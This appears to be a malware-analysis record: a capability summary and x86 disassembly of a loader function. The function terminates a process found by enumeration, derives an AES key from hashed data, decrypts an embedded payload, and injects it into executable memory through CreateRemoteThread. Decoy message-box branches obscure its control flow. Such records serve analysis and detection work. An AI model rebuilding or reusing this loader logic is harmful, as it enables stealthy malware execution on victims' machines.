Function at 0x10001390
Capabilities:
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate processes
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process
Terminate process by name

Disassembly:
sub esp, 0x134
cmp byte [0x10045424], 0
je 0x100013b5
lea eax, [esp + 8]
push eax
push 1
push 1
call dword [0x10045c9c]
mov byte [0x10045424], 0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0xd98ae080
push eax
push 0
mov dword [esp + 0x1c], 0xffffffff
call dword [0x10045c98]
push 0x124
lea eax, [esp + 0x24]
push 0
push eax
call fcn.10002270
add esp, 0xc
mov dword [esp + 0x1c], 0x128
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x1c]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10001432
nop dword [eax]
mov eax, dword [esp + 0x24]
cmp eax, dword fs:[0x20]
je 0x1000142e
lea eax, [esp + 0x1c]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10001410
jmp 0x10001432
mov edi, dword [esp + 0x34]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
push edi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10001458
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov ebp, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
xor edi, edi
mov ebx, dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, 2
nop dword [eax + eax]
mov eax, esi
sub eax, 2
je 0x100014d1
sub eax, 1
je 0x10001483
sub eax, 1
je 0x10001488
jmp 0x100014d2
mov esi, 4
push 0xf0000000
push 0x18
push 0
push 0
push 0x10045c80
call ebp
test eax, eax
je 0x100014d1
push 0x10045c84
push 0
push 0
push 0x800c
push dword [0x10045c80]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test edi, edi
je 0x100014cc
push 0
push 0x1000c1a0
push str.math_dec
push 0
call ebx
mov edi, 1
inc esi
cmp edi, 1
jne 0x10001470
mov ebp, dword [sym.imp.ADVAPI32.dll_CryptHashData]
xor edi, edi
mov esi, 3
mov eax, esi
sub eax, 1
je 0x100014fc
sub eax, 1
je 0x100014f7
sub eax, 1
je 0x10001548
jmp 0x10001549
mov esi, 1
push 0
push 0x10
push section..data
push dword [0x10045c84]
call ebp
test eax, eax
je 0x10001548
push 0x10045c88
push 0
push dword [0x10045c84]
push 0x6610
push dword [0x10045c80]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test edi, edi
je 0x10001543
push 0
push 0x1000c1b0
push str.math_dec2
push 0
call ebx
mov edi, 1
dec esi
cmp edi, 1
jne 0x100014e4
mov ebp, dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
xor edi, edi
mov esi, 5
nop dword [eax + eax]
cmp esi, 5
je 0x100015c4
cmp esi, 0x1e
je 0x10001577
cmp esi, 0xf
jne 0x100015c7
nop
add esi, esi
cmp esi, 0x1e
jne 0x10001570
push 0x10045420
push 0x10012010
push 0
push 0
push 0
push dword [0x10045c88]
call ebp
test eax, eax
je 0x100015c4
push dword [0x10045c84]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push dword [0x10045c88]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
test edi, edi
je 0x100015bf
push 0
push 0x1000c1c0
push str.math_dec3
push 0
call ebx
mov edi, 1
lea esi, [esi + esi*2]
cmp edi, 1
jne 0x10001560
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x20
push 0x1000
push dword [0x10045420]
mov dword [0x10045c8c], eax
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [0x10045420]
mov dword [0x10045c94], eax
push 0x10012010
push eax
push dword [0x10045c8c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push 0
push dword [0x10045c94]
push 0
push 0
push dword [0x10045c8c]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push dword [0x10045c8c]
mov dword [0x10045c90], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push dword [0x10045c90]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x134
ret